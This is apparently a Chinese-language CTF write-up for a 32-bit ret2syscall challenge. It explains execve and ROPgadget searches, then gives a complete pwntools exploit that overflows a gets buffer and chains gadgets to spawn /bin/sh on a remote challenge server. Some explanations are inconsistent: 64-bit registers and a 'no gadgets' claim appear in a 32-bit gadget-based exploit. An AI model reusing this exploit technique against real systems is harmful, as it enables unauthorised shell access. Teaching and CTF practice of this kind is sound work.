题目:32位的ret2syscall
什么是ret2syscall
ret2syscall(return-to-syscall)就是:利用栈溢出控制寄存器,让程序直接执行 Linux 的系统调用,从而获得 shell 或执行任意系统级操作。
一句话总结:
不跳函数,不用 libc,不用 gadget,直接让程序执行 execve(“/bin/sh”,0,0) 这种系统调用。

checksec:
截图
仅开启NX保护

ida分析:
ll
有明显栈溢出漏洞、gets函数;题目描述以及各处都提示了让用 ret2syscall 来进行攻击,我们可以利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。

大致思路是先栈溢出填充缓冲区,利用 gadgets 调用 syscall,也就是传递它的调用号 0xb,用 rax 寄存器传递,然后调用 execve 函数:

1
execve("/bin/sh",NULL,NULL)

execve函数:
execve 是 Linux 里最核心、最底层的“执行程序”系统调用。
它不是普通函数,而是 系统调用接口,用于让当前进程“变身”为另一个程序。
c语言原型:

1
int execve(const char *pathname, char *const argv[], char *const envp[]);

含义如下:

pathname:要执行的程序路径,例如 /bin/sh

argv[]:传给新程序的参数列表(argv[0] 通常是程序名)

envp[]:环境变量列表(如 PATH=…)

成功时 不会返回,因为当前进程已经被新程序替换。
失败时返回 -1,并设置 errno。

🔥 execve 的本质作用
execve 会把当前进程的代码段、数据段、堆、栈全部替换成新程序的内容。

也就是说:

PID 不变

但进程内容完全变成另一个程序

原来的代码不再执行

这就是为什么 execve 成功后不会返回。
在漏洞利用中,尤其是 ret2syscall,你会让寄存器变成:

1
2
3
4
5
rax = 59          # execve 的系统调用号
rdi = "/bin/sh" # 第一个参数
rsi = 0 # 第二个参数
rdx = 0 # 第三个参数
syscall # 触发系统调用

这样内核就会执行:

1
execve("/bin/sh", NULL, NULL)

需要用到 eax 系统调用参数传递的寄存器的 gadget:

1
ROPgadget --binary pwn --only "pop|ret"|grep eax

截图
execve 函数有三个参数,32 位架构靠栈传递参数,所以要有参数寄存器:ebx(第 1 参)、ecx(第 2 参)、edx(第 3 参),也就是:

1
ROPgadget --binary pwn --only "pop|ret"|grep ebx

截图
同理,int 0x80
截图

/bin/sh 的地址:
11

cyclic缓冲区大小:
1
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = remote("pwn.challenge.ctf.show", 28266)
#io = process('./pwn')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
binsh = 0x80BE408
int_0x80 = 0x08049421
payload = cyclic(112) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
io.sendline(payload)
io.interactive()